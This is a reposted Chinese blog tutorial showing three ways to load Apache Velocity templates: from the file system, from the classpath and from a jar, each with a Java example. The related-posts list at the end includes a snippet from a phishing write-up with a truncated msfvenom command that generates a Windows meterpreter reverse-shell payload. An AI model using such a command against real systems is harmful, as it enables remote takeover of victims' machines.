[转载]velocity模板加载
2019独角兽企业重金招聘Python工程师标准>>>
转载自: http://www.blogjava.net/sxyx2008/archive/2010/11/11/337799.html
velocity使用基本来说比较简单,但在加载模板时老出问题,很多初学者经常会遇到找不到模板这种异常。本文就针对目前常用的三种模板加载方式做以说明。
其工程目录结构大致为:
一、velocity默认的加载方式(文件加载方式)
package com.velocity.test;import java.io.StringWriter;
import java.util.Properties;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;/*** 从文件中加载模板文件,即velocity默认的模板文件加载方式* @author welcome**/
public class LoaderFromFile {public static void main(String[] args) throws Exception{//初始化参数Properties properties=new Properties();//设置velocity资源加载方式为fileproperties.setProperty("resource.loader", "file");//设置velocity资源加载方式为file时的处理类properties.setProperty("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.FileResourceLoader");//实例化一个VelocityEngine对象VelocityEngine velocityEngine=new VelocityEngine(properties);//实例化一个VelocityContextVelocityContext context=new VelocityContext();//向VelocityContext中放入键值context.put("username", "张三");context.put("password", "123456789");context.put("age", "20");context.put("address", "陕西西安"); context.put("blog", "http://blogjava.net/sxyx2008");//实例化一个StringWriterStringWriter writer=new StringWriter();//从vm目录下加载hello.vm模板,在eclipse工程中该vm目录与src目录平级velocityEngine.mergeTemplate("vm/hello.vm", "gbk", context, writer);System.out.println(writer.toString());}
}
二、从类路径加载模板文件
package com.velocity.test;import java.io.StringWriter;
import java.util.Properties;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;/*** 从class(类路径)中加载模板文件* @author welcome**/
public class LoaderFromClass {public static void main(String[] args) throws Exception{//初始化参数Properties properties=new Properties();//设置velocity资源加载方式为classproperties.setProperty("resource.loader", "class");//设置velocity资源加载方式为file时的处理类properties.setProperty("class.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");//实例化一个VelocityEngine对象VelocityEngine velocityEngine=new VelocityEngine(properties);//实例化一个VelocityContextVelocityContext context=new VelocityContext();//向VelocityContext中放入键值context.put("username", "张三");context.put("password", "123456789");context.put("age", "20");context.put("address", "陕西西安"); context.put("blog", "http://blogjava.net/sxyx2008");//实例化一个StringWriterStringWriter writer=new StringWriter();//从src目录下加载hello.vm模板//假若在com.velocity.test包下有一个hello.vm文件,那么加载路径为com/velocity/test/hello.vmvelocityEngine.mergeTemplate("com/velocity/test/hello.vm", "gbk", context, writer);//velocityEngine.mergeTemplate("hello.vm", "gbk", context, writer);System.out.println(writer.toString());}
}
三、从jar文件中加载模板文件
package com.velocity.test;import java.io.StringWriter;
import java.util.Properties;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;/*** 从jar文件中加载模板文件* @author welcome**/
public class LoaderFromJar {public static void main(String[] args) throws Exception{//初始化参数Properties properties=new Properties();//设置velocity资源加载方式为jarproperties.setProperty("resource.loader", "jar");//设置velocity资源加载方式为file时的处理类properties.setProperty("jar.resource.loader.class", "org.apache.velocity.runtime.resource.loader.JarResourceLoader");//设置jar包所在的位置properties.setProperty("jar.resource.loader.path", "jar:file:WebRoot/WEB-INF/lib/vm.jar");//实例化一个VelocityEngine对象VelocityEngine velocityEngine=new VelocityEngine(properties);//实例化一个VelocityContextVelocityContext context=new VelocityContext();//向VelocityContext中放入键值context.put("username", "张三");context.put("password", "123456789");context.put("age", "20");context.put("address", "陕西西安"); context.put("blog", "http://blogjava.net/sxyx2008");//实例化一个StringWriterStringWriter writer=new StringWriter();//从/WebRoot/WEB-INF/lib/vm.jar中加载hello.vm模板 vm.jar的目录结构为vm/hello.vmvelocityEngine.mergeTemplate("vm/hello.vm", "gbk", context, writer);System.out.println(writer.toString());}
}
转载于:https://my.oschina.net/letiantian/blog/173122
[转载]velocity模板加载相关推荐
- velocity模板加载
http://www.blogjava.net/sxyx2008/archive/2010/11/11/337799.html
- templateref html内容,angular之ng-template模板加载
angular之ng-template模板加载 2019-01-07 编程之家 https://www.jb51.cc 编程之家收集整理的这篇文章主要介绍了angular之ng-template模板加 ...
- 钓鱼篇-利用RLO隐藏exe文件捆绑office免杀-远程模板加载上线CS
RLO伪装图片执行 利用msf生成木马x.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.96.128 LPORT=4444 ...
- 人脸识别的模板加载问题
人脸识别的模板加载问题 最近在做一个Android的考勤机项目,要求支持人脸.指纹.刷卡签到,人脸部分用的是中控的人脸识别模块. 在测试环境下人脸识别一切正常,切换到现场环境后刚开始也都没问题,过了几 ...
- Angularjs标签模板加载原理
前言 Angularjs提供多种模板加载方案. 最基础的为通过预先声明路径的方式,通过Ajax获取. 使用诸如gulp-html2js构建工具,将HTML模板转化为js文件使用. 使用script标签 ...
- 【Youtobe trydjango】Django2.2教程和React实战系列八【渲染数据库数据与模板加载顺序探究】
[Youtobe trydjango]Django2.2教程和React实战系列八[渲染数据库数据与模板加载顺序探究] 1. 准备数据 2. 渲染数据库数据到模板 3. 如何在app里加载django ...
- 转载:页面加载swf插件:swfobject
转自:http://www.cnblogs.com/analyzer/articles/1299592.html 我一直都在用SWFObject 插入flash,好处多多,代码简洁,不会出现微软的&q ...
- java引入resource下的模板_Beetl自定义ResourceLoader,实现特殊的模板加载需求
一直以来,有个目标是:使用Beetl的时候,如果web root 里有模板文件,则beetl从web root里加载.如果没有,则从jar里加载,或者从Db里加载. 这样,工程里大量相同的模板模板可以 ...
- zencart目录文件说明 zencart模板加载方式
zencart建站必备的五个插件 zencart的源码文件中第一句话往往是包含include目录下的application_top.php文件,如:require('includes/applicat ...
最新文章
- 最新!全球学术排名出炉:18所中国大学位居世界100强
- 独家解析英伟达最新GPU-A100对AI行业带来的影响
- U3D的结构体堆分配栈分配
- python开三次方_python实现三次样条插值
- Android 通知栏Notification
- Redis 小白指南(二)- 聊聊五大类型:字符串、散列、列表、集合和有序集合...
- FreeRTOS信号量---二值信号量
- 微信JS-SDK选择相册或拍照并上传PHP实现
- 源码编译安装gcc-5.3.0
- 行存储索引改换成列存储索引_列存储索引增强功能–数据压缩,估计和节省
- hdu5141 线段树
- 怎么运行java程序_怎么运行java程序?运行java程序的一般步骤?
- android viewholder模式,Android ViewHolder模式
- 金融理论与实务公式汇总
- 近期活动盘点:个人消费信贷与风险控制讲座、清华大学教育大数据论坛
- 软件概要设计说明书模版
- OLED屏显示和汉字点阵编码原理
- 送书 | 《数据产品经理:实践进阶》
- 高等代数期末考试题库及答案_《高等代数》期末闭卷考试题及答案.pdf
- SSM项目_配置双数据源
热门文章
- 微信公众号获取用户头像的踩坑经历
- 按照快递公司筛选物流单号
- 人工智能——家居式智能监控服务机器人
- 该如何去学编程?[转帖]
- npm ERR! cb() never called! 解决办法
- org.tigris.subversion.javahl.ClientException: URL access forbidden for unkno
- ubuntu 系统 如何生成requirement.txt
- 西门子1200PLC与手机TCP通信
- 从简开始,逐步深入 写一个自己的Promise
- Linux系统下,对两幅bmp图像进行左右拼接,合成一个bmp图